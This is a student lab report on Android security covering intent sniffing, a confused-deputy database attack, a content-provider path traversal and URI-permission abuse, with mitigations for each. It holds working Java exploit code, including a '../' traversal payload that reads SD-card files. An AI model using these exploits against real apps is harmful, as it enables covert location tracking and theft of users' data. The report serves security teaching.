DD2525
Name: Almir Aljic,
Shanly Feller

Report lab assignment 2

May 20, 2022

1 Section 3.1 Intent Sniffing

1.1 Intra-app Communication

In **ForegroundLocationService.java**, an intent for intra-app communication within the **locationapp** is defined as follows in the **onCreate()** method:

```
locationAppIntent = new Intent();
locationAppIntent.setAction("tcs.lbs.locationapp.MainActivityReceiver");
```

The **setAction()** method expects a parameter of type String named **action**. According to the documentation found on developer.android.com, this should be an action name, such as ACTION_VIEW. Application-specific actions are to be prefixed with the vendor's package name. In this case, only the package name is included. Note that the purpose of this was to perhaps specifically target the **MainActivityReceiver** in the locationapp. However, **setAction()** merely defines an action to be performed and does not regulate to which applications the intent is sent upon being broadcast. Any internal application components or external applications self-defined to handle such intents will essentially subscribe to receive the intent through Android's inter-process communication system.

While it may appear as though this is an explicit intent, it is not. As mentioned, the setAction() method only specifies an action to be performed, not which application is fit to handle the intent. Thus, the intent is implicit. In the **onLocationChanged()** method in **ForegroundLocationService.java**, the following lines illustrate the information stored in the intent and how the intent is subsequently delivered:

```
locationAppIntent.putExtra("Location", _location);
sendBroadcast(locationAppIntent);
```

Location data is saved in the intent and the intent is then sent using the **sendBroadcast()** method. According to the documentation, *"the sendBroadcast(Intent) method sends broadcasts to all receivers in an undefined order. This is called a Normal Broadcast"* [https://developer.android.com/guide/components/broadcasts]. Given that this is an implicit intent, all that is required of other internal components or external applications is to register themselves to receive intents with the same action set by **setAction()** in the ForegroundLocationService, which is the path name of the specific receiver class in the application **"tcs.lbs.locationapp.MainActivityReceiver"**.

This is done in locationapp's **MainActivity.java**, which defines a sub-class named **MainActivityReceiver**, which in turn extends the functionality of the **BroadcastReceiver** class. Here, the **onReceive()** method of the BroadcastReceiver was overriden and the following code was used:

```
// BroadcastReceiver class, this class enables MainActivity to receive broadcasts from ForegroundLocationService
public class MainActivityReceiver extends BroadcastReceiver
{

    // If a broadcast intent is received, this method will be invoked.
    @Override
    public void onReceive(Context context, Intent intent)
    {
        Location location = intent.getParcelableExtra("Location");
        if (location != null)
        {
            GeoPoint startPoint = new GeoPoint(location.getLatitude(), location.getLongitude());
            mapController.setCenter(startPoint);
        }
    }
}
```

Prior to this though, the MainActivityReceiver must be declared to receive intents. This was done as follows in **MainActivity.java**:

```
// Register MainActivityReceiver class to listen to broadcasts from ForegroundLocationService
    IntentFilter filter = new IntentFilter();
    filter.addAction("tcs.lbs.locationapp.MainActivityReceiver");
    registerReceiver(new MainActivityReceiver(), filter);
```

By creating a filter and specifying the correct action name, which was the path name of the specific receiver class in the application, the **MainActivityReceiver** class will receive intents from the ForegroundLocationService.

1.2 Intra-app Exploitation

Exploiting this vulnerability is roughly as straight-forward as outlined above, in describing the functionality of **MainActivity.java** and how it receives intents sent by the ForegroundLocationService. In **MainActivity.java of our Intent Sniffer**, a receiver and an action string are defined as follows:

```
IntentBroadcastReceiverIntra mReceiverIntra;
static final String RECEIVER_ACTION_INTRA_APP = "tcs.lbs.locationapp.MainActivityReceiver";
```

The variable mReceiverIntra is then instantiated as an object of the class **IntentBroadcastReceiverIntra**, which was defined as part of our exploit.

```
public class IntentBroadcastReceiverIntra extends BroadcastReceiver {
    @Override
    public void onReceive(Context context, Intent intent) {
        Location location = intent.getParcelableExtra("Location");
        if (location != null) {
            LatitudeTextView.setText(Double.toString(location.getLatitude()));
            LongitudeTextView.setText(Double.toString(location.getLongitude()));
        }
    }
}
```

Note how the implementation of IntentBroadcastReceiverIntra is identical to that of the ”legitimate” intent recipient **MainActivity internal component of the locationapp**. Not only that, but the intent filter declaration and receiver registration is also almost identical:

```
// Intra-app communication intent sniffing (inside of locationapp)
    IntentFilter filterIntra = new IntentFilter();
    filterIntra.addAction(RECEIVER_ACTION_INTRA_APP);
    mReceiverIntra = new IntentBroadcastReceiverIntra();
    registerReceiver(mReceiverIntra, filterIntra);
```

As the travel route is being played and the user activates the locationapp’s ForegroundService, the Intent Sniffer will continuously receive updates as the user’s location changes. This was a simple illustration of how the internal communication functionality of the locationapp can be exploited to sniff traffic. We personally believe that this is a fundamental design error in which the software engineers have overlooked the security-related side-effects of implicit intents. Implicit intents in and of themselves are not necessarily bad.

1.3 Intra-app Mitigation

A great example of an efficient mitigation technique is to use the LocalBroadcastManager class instead when sending the intent. The purpose of the LocalBroadcastManager is to help handle intra-process communication, which provides more robust security in the context of cross-component communication and escapes using the Android inter-process messaging system, which is computationally more demanding and this leads to an overall greater application efficiency.

In **ForegroundLocationService.java**, the following code is added and modified:

```
protected LocalBroadcastManager broadcastSender;

<---Several Lines of Code Later--->

// Send intra-app broadcast to MainActivity [onLocationChanged() method]
//sendBroadcast(locationAppIntent);
LocalBroadcastManager.getInstance(this).sendBroadcast(locationAppIntent);
```

In **MainActivity.java**, the following code is modified:

```
// Register MainActivityReceiver class to listen to broadcasts from ForegroundLocationService
IntentFilter filter = new IntentFilter();
filter.addAction("tcs.lbs.locationapp.MainActivityReceiver");
//registerReceiver(new MainActivityReceiver(), filter);
LocalBroadcastManager.getInstance(this).registerReceiver(new MainActivityReceiver(), filter);
```

In other words, the standard registerReceiver() is commented and the LocalBroadcastManager's registerReceiver() method is used instead.

The use of the standard sendBroadcast() method is commented and the LocalBroadcastManager is used to deliver the broadcast instead, which is handled completely internally within the application. In other words, there is no way for an external application to sniff these intents. The fundamental purpose and functionality of the locationapp's intents to the MainActivity is not affected with this change in how the broadcasts are sent. As a result, the Intent Sniffer can no longer intercept the location data.

Another option might be to use explicit intents, but then additional work needs to be done to ensure the receiving component only accepts intents from applications and components with correct permissions. These permissions could be signature-level permissions, for instance. A third option, which might be somewhat far-fetched and arrogant, is to outsource the functionality of the locationapp straight to Google Maps, seeing as they do not differ very much at all. This would to some degree be reminiscent of **intent delegation**, i.e. outsourcing functionality that requires permissions (such as location-based services) that another app already has.

1.4 Inter-app Communication (Weather Application), Exploitation & Mitigation

Given that this section is quite similar to the intra-app communication system, exploitation and mitigation, all of those sections have been combined into one for the inter-app communication process.

In a similar fashion to the the intra-app communication, the ForegroundLocationService creates and specifies an intent as follows in the onCreate() method:

```
weatherIntent = new Intent();
weatherIntent.setAction("tcs.lbs.weather_app.WeatherBroadcastReceiver");
```

Location data is then transmitted to the weather application as follows, in the onLocationChanged() method of the ForegroundLocationService:

```
weatherIntent.putExtra("Location", _location);
sendBroadcast(weatherIntent);
```

In the weatherapp's **MainActivity.java**, the following code registers the application to receive intents from the ForegroundLocationService and processes the data:

```java
static final String RECEIVER_ACTION = "tcs.lbs.weather_app.WeatherBroadcastReceiver";

<---Code Skipped--->

@Override
protected void onResume()
{
    super.onResume();

    IntentFilter filter = new IntentFilter();
    filter.addAction(RECEIVER_ACTION);

    mReceiver = new WeatherBroadcastReceiver();
    registerReceiver(mReceiver, filter);
}

<---Code Skipped--->

public class WeatherBroadcastReceiver extends BroadcastReceiver
{

    @Override
    public void onReceive(Context context, Intent intent)
    {
        textViewWeather.setText(weatherType[new Random().nextInt(weatherType.length)]);
    }
}
```

An intent filter and receiver are defined in the same way as in the intra-app communication system. Note that the overriden **onReceive()** method of the **WeatherBroadcastReceiver** does not actually interact with the intent data, i.e. it never actually retrieves the location data itself. The reason for this is likely because this is merely a proof of concept. The location data is in fact in the intent sent in as a parameter to the onReceive() method, and just needs to be deconstructed in the same way as in the MainActivityReceiver of the intra-app communication system, which is a part of the MainActivity internal component of the locationapp.

Exploiting this vulnerability to sniff traffic and retrieve the location data can be done in a similar fashion. In the Intent Sniffer, the following code was developed:

```java
IntentBroadcastReceiver mReceiver;
static final String RECEIVER_ACTION = "tcs.lbs.weather_app.WeatherBroadcastReceiver";

<---Code Skipped--->

// In the onCreate() method
IntentFilter filter = new IntentFilter();
filter.addAction(RECEIVER_ACTION);
mReceiver = new IntentBroadcastReceiver();
registerReceiver(mReceiver, filter);

<---Code Skipped--->

public class IntentBroadcastReceiver extends BroadcastReceiver {

    @Override
    public void onReceive(Context context, Intent intent) {
        Location location = intent.getParcelableExtra("Location");
        if (location != null) {
            LatitudeTextView.setText(Double.toString(location.getLatitude()));
            LongitudeTextView.setText(Double.toString(location.getLongitude()));
        }
    }
}
```

In essence, the exploitation is identical to that of the intra-app exploitation. Running the route and enabling the ForegroundLocationService in the locationapp once again leaks data to the Intent Sniffer.

An effective mitigation technique was to use the **setPackage()** method as opposed to the **setAction()** method when creating the intent in the ForegroundLocationService's **onCreate()** method:

```
//weatherIntent.setAction("tcs.lbs.weather_app.WeatherBroadcastReceiver");
weatherIntent.setPackage("tcs.lbs.weather_app.WeatherBroadcastReceiver");
```

Notice how the setAction() line is commented and setPackage() is used instead. The setPackage() method sets an explicit application package name and limits the components the intent will resolve to (essentially, it whitelists only the WeatherBroadcastReceiver of the weatherapp), which is also the intended functionality of the locationapp. Another option might be to re-write the weatherapp to handle explicit intents by exporting an explicit intent-receiving component instead, but this would require introducing additional security measures, such as regulating which external applications are granted permission to send intents to this re-written WeatherBroadcastReceiver.

2 3.2 Confused Deputy Attack in the Notes Application

2.1 Database Modification

DataBaseActivity.java in the Notes application overrides and re-implements the **onCreate()** method of the **AppCompatActivity** class, which is the fundamental class used to create Activity components for Android development in Java. In a switch statement, the DataBaseActivity receives an intent, extracts an ACTION_NAME string from it and checks which action has been requested by the application or component that sent the intent. Below is an example:

```
// Switches functionality based on the Action defined in the Intent that started this activity
switch (getIntent().getStringExtra(ACTION_NAME))
{
    case ACTION_SaveItem:
        Intent i = getIntent();
        String id = i.getStringExtra(NOTE_ID);
        String text = i.getStringExtra(NOTE_TEXT);

        if (id.equals(NEW_ID))
        {
            dataBaseHelper.insert(text);
        }
        else
        {
            dataBaseHelper.update(id, text);
        }

        setResult(RESULT_OK);
        finish();
        break;

    case ACTION_DeleteItem:
<--- CODE CONTINUES BELOW --->
```

In other words, there are various ACTION names that can be used to decorate an intent, which DataBaseActivity will process and perform different operations based on the requested action. These are some of the actions that can be specified and some basic naming conventions of data fields stored as extra pieces of data in the intent:

```
public static final String ACTION_NAME = "ACTION_NAME";

public static final String ACTION_GetItemText = "GET_ITEM_TEXT";
public static final String ACTION_DeleteItem = "DELETE_ITEM";
public static final String ACTION_SaveItem = "SAVE_ITEM";
public static final String ACTION_GetAllItems = "GET_ALL_ITEMS";

```

```java

public static final String ITEM_TEXT = "ITEM_TEXT";
public static final String ALL_ITEMS = "ALL_ITEMS";
public static final String NEW_ID = "NEW_ID";
public static final String NOTE_ID = "NOTE_ID";
public static final String NOTE_TEXT = "NOTE_TEXT";
```

An internal component in the Notes application or an external application can send an explicit intent to the DataBaseActivity to perform modifications to the database. This is done internally in the Notes application's **NoteActivity.java** class, for example as follows:

```java
1 // If this activity was lunched to show a note, use DataBaseActivity to get the text of it.
2 if (getIntent().getStringExtra(ACTION_NAME).equals(ACTION_UpdateNote))
3 {
4     Intent noteIntent = new Intent(NoteActivity.this, DataBaseActivity.class);
5     noteIntent.putExtra(DataBaseActivity.NOTE_ID, getIntent().getStringExtra(DataBaseActivity.
      NOTE_ID));
6     noteIntent.putExtra(DataBaseActivity.ACTION_NAME, DataBaseActivity.ACTION_GetItemText);
7     startActivityForResult(noteIntent, REQUEST_GetItemText);
8 }
```

Here, we see that an intent is explicitly declared and intended for the DataBaseActivity class, as shown on line 4 above.

2.2 Exploitation

The problem arises in the way DataBaseActivity handles explicit intents sent to it. It conducts no validation checks or anything of the sort to ensure that the sender is legitimate and authorized to modify the database! This means that in our NotesExploit application, we can craft an intent payload in a similar fashion as the NoteActivity class, and our action requests will be unwittingly executed by the database. In the **MainActivity class of our NotesExploit application**, we implement the following methods for adding a new note, deleting an existing note (it is assumed a note ID is known) and reading an existing note (it is assumed a note ID is known).

```java
public void addClicked(android.view.View view)
{
    editText = findViewById(R.id.add_editText);

    Intent intent = new Intent();
    intent.setComponent(new ComponentName("tcs.lbs.notes", "tcs.lbs.notes.DataBaseActivity"));
    intent.putExtra("ACTION_NAME", "SAVE_ITEM");
    intent.putExtra("NOTE_ID", "NEW_ID");
    intent.putExtra("NOTE_TEXT", editText.getText().toString());

    startActivityForResult(intent, 1);
}

public void removeClicked(android.view.View view)
{
    editText = findViewById(R.id.remove_editText);

    Intent intent = new Intent();
    intent.setComponent(new ComponentName("tcs.lbs.notes", "tcs.lbs.notes.DataBaseActivity"));
    intent.putExtra("ACTION_NAME", "DELETE_ITEM");
    intent.putExtra("NOTE_ID", editText.getText().toString());

    startActivityForResult(intent, 1);
}

public void showClicked(android.view.View view)
{
    editText = findViewById(R.id.show_editText);

    Intent intent = new Intent();
    intent.setComponent(new ComponentName("tcs.lbs.notes", "tcs.lbs.notes.DataBaseActivity"));
    intent.putExtra("ACTION_NAME", "GET_ITEM_TEXT");
    intent.putExtra("NOTE_ID", editText.getText().toString());

    startActivityForResult(intent, 2);
}

@Override
protected void onActivityResult(int requestCode, int resultCode, Intent data) {
    if (requestCode == 2) {
        if (resultCode == RESULT_OK) {
            String value = data.getStringExtra("ITEM_TEXT");
            Log.i("VAL", value);
        }
    }
}
```

For instance, in the **addClicked()** method, an intent is created, explicitly aimed at being sent to the DataBaseActivity class using the **setComponent()** method. A set of appropriate ACTION strings and data fields are added to the intent using the **putExtra()** method, after which the intent is sent using the **startActivityForResult()** method. This process is similar for the read and delete functionalities, with the exception of different ACTION strings and data fields.

Lastly, in the **onActivityResult()** method, the returned data from the Notes application's DataBaseActivity class is processed and extracted. This data is returned with each call of the method **setResult()** in the DataBaseActivity class. The exploitation is complete.

2.3 Mitigation Techniques

An effective mitigation strategy is to limit which applications can access and send intents to the DataBaseActivity class. This can be done in the AndroidManifest.xml file, by adding the following lines:

```
<permission
    android:name="mynewpermission"
    android:protectionLevel="signature" />

<---XML Data Skipped--->

<activity
    android:name=".DataBaseActivity"
    android:theme="@android:style/Theme.NoDisplay"
    android:permission="mynewpermission">
    <intent-filter>
        <action android:name="tcs.lbs.notes.DataBaseManager"/>
    </intent-filter>
</activity>
```

Note how the DataBaseActivity is now encompassed by the ”mynewpermission” permission restriction. Furthermore, note that the protectionLevel was set to ”signature”. This means that only sending applications signed with the same certificate as the receiving application are granted permission [to send intents to DataBaseActivity, in this case] [https://developer.android.com/guide/topics/manifest/permission-element]. In other words, if for example the developer of the Notes application creates an external application and signs it with the same certificate used for Notes, the external app would be granted permission to send intents. There are various permission levels, such as *Signature*, *SignatureOrSystem*, *Dangerous* and *Normal*. In this case, the Signature permission is to be considered the most restrictive and thus carrying the greatest security level.

Another mitigation strategy might actually be to re-write the app to use the LocalBroadcastManager discussed in assignment 3.1 instead. It does not appear as though DataBaseActivity needs to be called from any external applications, i.e. any database manipulation appears to be conducted by internal components of the Notes application. Thus, there is no need to offer inter-process communication functionality in this particular context. Changing to the LocalBroadcastManager would restrict the application from communicating with external applications, but the trade-off in this case (seeing as it is not talking to external apps anyway) is significant in that the LocalBroadcastManager is much more efficient and uses significantly fewer resources than sending intents that go through the standard Android inter-process communication system.

3 3.3 Leaky content provider

3.1 Content Provider Functionality

A custom content provider is implemented in the Notes application. Content providers are defined in the file **AndroidManifest.xml**.

```
<provider
    android:name=".FileProvider"
    android:authorities="tcs.lbs.notes"
    android:enabled="true"
    android:exported="true"></provider>
```

tcs.lbs.notes is the name of the authority (multiple can be provided but here only one is specified) and also the name of the package that contains the vulnerable implementation. **exported** set to true means that the provider is available to other applications. We see here that we will be able to use the content provider through our exploit app. **.FileProvider** is the name of the class that implements the customized Content Provider. In this class we see that a method openFile is implemented:

```
1  @Override
2  public ParcelFileDescriptor openFile(Uri uri, String mode)
3  {
4      String path = uri.getPath();
5
6      if (path == null)
7      {
8          return null;
9      }
10
11     try
12     {
13         File f = new File(getContext().getCacheDir().getCanonicalPath() + path);
14
15         return ParcelFileDescriptor.open(f, ParcelFileDescriptor.MODE_READ_ONLY);
16     }
17     catch (Exception e)
18     {
19         return null;
20     }
21 }
```

The method first extracts the path from the URI object supplied as a parameter value and then appends it to a variable of type String named path (line 4). Because of the authority, the argument URI must start with **content://tcs.lbs.notes** for the query to be accepted. When translated into a path, this URI points to the cache sub-folder, which is contained within the main application folder on the Android system.

The method then tries to open the file by blindly appending the path provided by the user to the cache directory's path. The key here is that there is no sanitation of the user-supplied path, which means the Notes app is vulnerable to a path traversal exploit. The content provider has access to the SD card, but external applications like our **ContentProviderExploit** app do not. However, by leveraging the path traversal vulnerability found in the Notes app, an unprivileged external application can use the content provider to access the SD card.

3.2 Exploit

Before exploiting, a file named **ExternalTextFile.txt** was added in the folder Download of the SDCard using the adb push command. In addition, a note in the Notes application was shared with Google Drive. This shared note was as a side-effect of utilizing the "Share As File"-functionality in the Notes app added to the /cache sub-directory of the main application directory, with the name **SharedFile.txt**. This is also the reason why a content provider was used in this particular case, because it is an efficient way of sharing files with external applications.

This is our exploit:

```java
1  public void queryContentProvider_onClicked(View view) throws IOException, RemoteException {
2      // Get the content provider of Notes
3      String URLcp = "content://" + "tcs.lbs.notes";
4      Uri myUri = Uri.parse(URLcp);
5      ContentProviderClient yourCR = getContentResolver().acquireContentProviderClient(myUri);
6
7      Uri myUri2 = Uri.parse("content://" + "tcs.lbs.notes" + "/SharedFile.txt"); // Test for
       reading the contents of the file intended to be exposed.
8
9      // Payload
10     myUri2 = Uri.parse("content://" + "tcs.lbs.notes/" + "../../../../../.." + "/mnt/sdcard/
       download/" + queryEditText.getText());
11
12     // Read file contents
13     ParcelFileDescriptor pfd = yourCR.openFile(myUri2, "r");
14     InputStream fileStream = new FileInputStream(pfd.getFileDescriptor());
15     java.util.Scanner s = new java.util.Scanner(fileStream).useDelimiter("\\A");
16     String result = s.hasNext() ? s.next() : "";
17     resultTextView.setText("Beginning of the content " + result);
18 }
```

In the first part of the code (lines 3-5), we create a client to interact with the content provider (instantiated as an object named **yourCR** of type **ContentProviderClient**) of the Notes application. The supplied content URI is the default **content://tcs.lbs.notes** path.

Subsequently, we create our URI that corresponds to the file we want to read. On line 7, a URI pointing to the intended file to be exposed, i.e. **SharedFile.txt**, can be seen. This would be considered a legitimate file access that is in accordance with the intended functionality of the Notes application's content provider, meaning it is not a security breach. The malicious payload is generated on line 10, with the corresponding path traversal exploit, evidenced by the occurrence of directory traversals **../**.

The final part of the exploit code was to parse the result returned by the client content provider as it returns a **ParcelFileDescriptor**. This exploit successfully returned the contents of **/mnt/sdcard/-download/ExternalTextFile.txt**.

To know how many directory traversals in the form of **../** to use, we used a reference file from the cache. When utilizing the "Share As File" functionality in the Notes application, a file **SharedFile.txt** is created (containing the same contents as the shared file) at the following address: **/data/user/0/tcs.lbs.notes/cache/S** To learn this we can modify the Notes app through the following piece of code: **Log.d("PATHFILE", getApplicationContext().getCacheDir() + "/SharedFile.txt")**. We can also add as many directory traversals **../** as we need until we don't get an error anymore.

3.3 Mitigation

The mitigation for this vulnerability is relatively straightforward; the main concern is sanitizing the user-supplied path. Previously, the path was blindly appended to the /cache path as follows:

```
String path = uri.getPath();

<---Code Skipped--->

File f = new File(getContext().getCacheDir().getCanonicalPath() + path);
```

In order to remediate the path traversal vulnerability, choosing which file to read was changed as follows:

```
File f = new File(getContext().getCacheDir().getCanonicalPath() + "/" + uri.getLastPathSegment
    ());
```

In essence, only the last part/segment of the user-provided URI is appended to the /cache path. For instance, if a user supplies the content provider with the path **"../../../../mnt/sdcard/ExternalTextFile.txt"**, that is what will be stored in the uri variable in the code snippet above. However, **uri.getLastPathSegment()** extracts only the **"ExternalTextFile.txt"** part of the user-supplied path. Thus, the application would no longer be vulnerable to a path traversal exploit. Please note that there are many other, more robust ways of sanitizing user input and this is just one basic example used for demonstration purposes. Ultimately, the user interacting with the Notes application's content provider is now constrained to accessing files only in the /cache subdirectory, as intended.

4 3.4 Content Providers and URI Permissions

4.1 Explanation

As for assignment 3.3, the first thing that was done here was to look at the file **AndroidManifest.xml**.

```
 <provider
    android:name=".DataBaseProvider"
    android:authorities="tcs.lbs.bmicalculator"
    android:enabled="true"
    android:exported="false"
    android:grantUriPermissions="true">
</provider>
```

tcs.lbs.bmi is the name of the authority. **exported** is set to false. This means that we cannot create content queries to the custom content provider outside of the application. **grantUriPermissions** allows the application to grant access to outside queries and overcomes the exported flag on a case by case basis. The documentation states that to do so, the application must set the permission through the flag **FLAG__GRANT__READ__URI__PERMISSION**. The intended use for this is that the BMICalculator app sets the flags for the external apps that it wants to grant access to.

The exploit asks us to read the database of the app. **DataBaseProvider** is the name of the class that implements the customized Content Provider. In this class we see that a method query is implemented, allowing us to make requests to the DB. We can see here that the key to a successful exploit will be to trick the app into granting us the permission to call the content provider and then we will be able to query the database. For this we need to find an entry point in the application.

AndroidManifest.xml gives us more information as to which files are potentially good entry points.

```
<activity
    android:name=".DataShareActivity"
    android:exported="true" />
<activity
    android:name=".MainActivity"
    android:exported="true">
```

The attribute **exported** for an activity means that it is accessible by any app in this case. In particular, the class **DataShareActivity** implements a method that listens for an intent and then sends it back to the requesting application:

```
@Override
protected void onCreate(Bundle savedInstanceState)
{
    super.onCreate(savedInstanceState);
    setResult(-1, getIntent());
    finish();
}
```

4.2 Exploit

Because the DataShareActivity component of the BMICalculator application returns the intent exactly as it is, the exploit application will be able to grant itself the appropriate permission to use the content provider through the flag **FLAG_GRANT_READ_URI_PERMISSION**:

1. The exploit application sends an intent to the DataShareActivity component of the BMICalculator app, which includes the aforementioned flag with a boolean value of TRUE.

2. The BMICalculator sends the intent back to the exploit app. The BMICalculator app inadvertently changes the URI permissions and sets the aforementioned flag to TRUE. This essentially grants the exploit app the permission to use the content provider in read mode.

3. The exploit app can now use the content provider and query the database.

Below is a code snippet containing the exploit code:

```
public void accessContentProvider_onClicked(android.view.View view) {
    Intent intent = new Intent();
    intent.setData(Uri.parse("content://tcs.lbs.bmicalculator/database"));
    intent.setFlags(Intent.FLAG_GRANT_READ_URI_PERMISSION);
    intent.setClassName("tcs.lbs.bmicalculator", "tcs.lbs.bmicalculator.DataShareActivity");
    startActivityForResult(intent, 0);
}

@RequiresApi(api = Build.VERSION_CODES.KITKAT)
@Override
protected void onActivityResult(int requestCode, int resultCode, Intent data) {
    super.onActivityResult(requestCode, resultCode, data);

    // It returns a database cursor!
    Cursor cursor = getContentResolver().query(Uri.parse("content://tcs.lbs.bmicalculator/
    database"), null, null, null, null);
    if (cursor.moveToFirst()) {
        StringBuilder strBuild = new StringBuilder();
        while (!cursor.isAfterLast()) {
            strBuild.append("\n" +
                    cursor.getString(cursor.getColumnIndex("height")) + " - " +
                    cursor.getString(cursor.getColumnIndex("weight")) + " - " +
                    cursor.getString(cursor.getColumnIndex("bmi")));
            cursor.moveToNext();
        }
        resultTextView.setText(strBuild);
    } else {
        resultTextView.setText("NONE FOUND");
    }
}
```

The first part of the exploit code (lines 2-6) crafts an intent with a modified permission flag and sends it to the DataShareActivity component in the BMICalculator app. This intent is then sent back to the exploit app, which grants it access to the content provider. Note that the method **startActivityForResult()** was used to send the intent. This was because the exploit app would only be privileged to manipulate the database upon receiving the intent back from the BMICalculator app. Thus, further exploit code is found in the implementation of the **onActivityResult()** method.

In the onActivityResult() method, a database cursor is retrieved as outlined on line 15 in the code snippet above. Using this database cursor, arbitrary read queries can be made against the database. The height, weight and bmi columns are retrieved and displayed in the **resultTextView** variable of the exploit app.

4.3 Mitigation

Instead of unwittingly allowing access to the entire database via the **"content://tcs.lbs.bmicalculator/database** URI to any application that sends the **DataShareActivity** class an intent, we can instead only expose the /bmi endpoint (i.e. only the BMI column of the database). The **onCreate()** method in DataShareActivity was modified as follows:

```
@Override
protected void onCreate(Bundle savedInstanceState)
{
    super.onCreate(savedInstanceState);

    Intent intent = getIntent();
    intent.setData(Uri.parse("content://tcs.lbs.bmicalculator/bmi"));
    setResult(-1, intent);
    finish();
}
```

In other words, returning the same intent (which was previously done by sending the received intent back via the setResult() method without any intent sanitization) just after applying the corresponding intent permissions specified by the external application (which really could have been any permissions at all - a major security breach!), we instead set the URI to point to the /bmi endpoint, which can only access the BMI column in the database. In essence, we are sanitizing the intent received from the external application by changing the URI to point to a different URI and not the URI with the /database endpoint.

Our exploit application now crashes when attempting to retrieve the height and weight columns using the content URI **content://tcs.lbs.bmicalculator/database**. However, if we now change the content URI to **content://tcs.lbs.bmicalculator/bmi** and only attempt to access the BMI column, the output in the exploit app will be only the BMI values, excluding the "sensitive" height/weight data. The ContentExploit app is now then utilizing a feature of the BMICalculator application, not exploiting it!

```
@RequiresApi(api = Build.VERSION_CODES.KITKAT)
@Override
protected void onActivityResult(int requestCode, int resultCode, Intent data) {
    Cursor cursor = getContentResolver().query(Uri.parse("content://tcs.lbs.bmicalculator/bmi
    "), null, null, null, null);
    if (cursor.moveToFirst()) {
        StringBuilder strBuild = new StringBuilder();
        while (!cursor.isAfterLast()) {
            strBuild.append("\n"+
 9                     cursor.getString(cursor.getColumnIndex("bmi")));
10                 cursor.moveToNext();
11             }
12             resultTextView.setText(strBuild);
13         } else {
14             resultTextView.setText("NONE FOUND");
15         }
16 }
```

Notice how line 4 now calls the /bmi endpoint and line 9 only consists of accessing the ”bmi” column and not the height and weight columns. This code works well and the BMI values are presented in the ContentExploit application, as intended. In addition, mitigation can be made more extensive and robust by for instance stripping the intent of various sensitive flags prior to returning it from DataShareActivity to the requesting external application.

5 Statement of Contributions

Almir Aljic & Shanly Feller contributed equally in pair programming sessions and equal division of report writing (2 main sections per person).